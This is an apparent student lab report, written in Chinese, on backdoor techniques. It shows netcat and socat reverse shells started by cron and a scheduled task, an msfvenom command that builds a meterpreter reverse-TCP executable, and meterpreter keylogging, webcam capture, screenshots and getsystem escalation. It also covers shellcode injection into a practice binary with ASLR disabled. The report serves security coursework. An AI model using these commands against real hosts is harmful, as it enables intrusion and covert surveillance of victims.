20192424王昭云后门原理与实践实验报告

20192424王昭云实验二

实验内容

任务一:使用netcat获取主机操作Shell,cron启动

  • 首先获取windowsIP
  • q7KHeO.png
  • 然后获取ubuntu的IP
  • q7KjfA.png
  • 配置cron,设置16分钟进行反向连接windows
  • q7MpOf.png
  • 由于cron执行失败,我单独执行反连接发现nc不支持-e命令,经过不断的上网查证发现nc官网下载的和本地默认的都是自动模式,此模式不支持-e,于是如上图,我改成了手工模式,并且反弹连接成功。下图是修改模式截图:
  • q7Mm60.png
  • Cron自动进入,如图:
  • q7ManK.png

任务二:使用socat获取主机操作Shell, 任务计划启动

  • ubuntu中下载并执行socat
  • q7MLuV.png
  • windows中设置任务自启动计划,如图
  • q7Q3b8.png
  • 任务自动运行后出现如下报错,不过不影响获得windows的shell,如下图:
  • q7QNCj.md.png
  • q7QhKx.png

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 下载安装msf之类的软件,我因为github部分网页被墙,去官网下载了deb包自己安装的。接下来msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.132 LPORT=1314 -f exe > 20192424_backdoor.exe生成后门程序:
  • q7lsyt.png
  • 参数说明:
    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    -e 使用的编码器,用于对shellcode变形,为了免杀。
    -i 编码器的迭代次数。如上即使用该编码器编码5次。
    -b badchar是payload中需要去除的字符。 LHOST 是反弹回连的IP LPORT 是回连的端口
    -f 生成文件的类型
  • 在Windows下执行ncat -l 1314 > 20181314_backdoor.exe,这样被控主机就进入了接收文件模式:
  • q7lOkF.md.png
  • 可以看到后门程序已经传过来了
  • q7lxp9.md.png
  • 进入msfconsole
  • q71Cm6.png
  • 成功通过后门程序获得shell:
  • q71Ate.md.png
  • q71nXt.md.png

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用webcam_snap进行拍照
  • q73Cgs.md.png
  • q73e5F.md.png
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
  • q73Brt.md.png
  • 使用screenshot指令可以进行截屏,效果如下:
  • q735q0.md.png
  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权
  • q78meP.md.png

任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

  • 做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
  • q78dFU.png
  • 查看靶机版本
  • q785SH.png
  • 修改图中code为ubuntu的IP地址对应192.168.189.132
  • q78zlj.png
  • 修改端口号为0522h对应1314
  • q7GP00.md.png
  • 打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf
    再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号
    之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址
  • q7GAtU.md.png
  • q7GQ76.md.png
  • 设置断点
  • q7GBAf.md.png
  • 找到被覆盖的eip
  • q7Ggjs.md.png
  • 计算得到FFFFD090
  • q7Gbv9.png
  • 在shellocode中添加ret地址
  • q7BNin.png
  • 然后启动msfconsole,运行pwn1,管道输入shellcode
  • q7BBsU.md.png
  • 实验暂时失败,失败结果如下:
  • q7BWz6.png
  • 失败原因在于payload识别不出来:
  • q7Boee.png
  • 通过msfvonom -l payloads>payloadsshow | vim payloadsshow查看支持的payloads种类
  • q7Bvy8.md.png
  • 尝试使用回环地址,生成新的shellcode:
  • q7DMk9.png
  • 尝试新的payloads
  • q7D8l6.md.png
  • Msfconsole中没有任何反应,根据wireshark抓包猜测结果:
  • q7DDpt.md.png
  • 可见,后门程序先在4444端口发送了连接请求,msf的端口也收到了该请求,然后进行了回复,回复包如下:
  • q7Dfts.md.png
  • 到现在可以知道shellcode注入没有技术问题,恶意代码是可以正常执行的,恶意代码中的反弹连接请求也能发送,那么问题应该在于payload的版本。
    Kali中的gdb调试截图
  • q7Dq74.md.png
  • Shellcode注入截图
  • q7DXN9.md.png
  • 以下是kali版本同一个payload成功截图
  • q7rSc6.md.png

基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

  • 通过修改PE,ELF文件中的导入表等等在我们下载的程序中插入后门。
  • 通过XSS攻击让浏览器自动下载后门程序

例举你知道的后门如何启动起来(win及linux)的方式?

  • windows通过任务计划
  • linux中用cron
  • 修改注册表开机自启动
  • shellcode通过缓冲区溢出等方式启动
  • 访问带有恶意代码的bmp图片

Meterpreter有哪些给你映像深刻的功能?

  • 能自动生成exe,raw,c等格式对应不同系统不同功能不同语言的漏洞,实现了漏洞的DIY
  • 对后门程序的封装很好,操作简单,比如通过后台截屏摄像等等

如何发现自己有系统有没有被安装后门?

  • 检查下载的文件的hash,与官网的hash对比
  • 检查流量是否异常
  • 检查注册表
  • 检查是否有异常端口使用
posted @ 2022-04-03 17:39  20192424WZY  阅读(39)  评论(0编辑  收藏  举报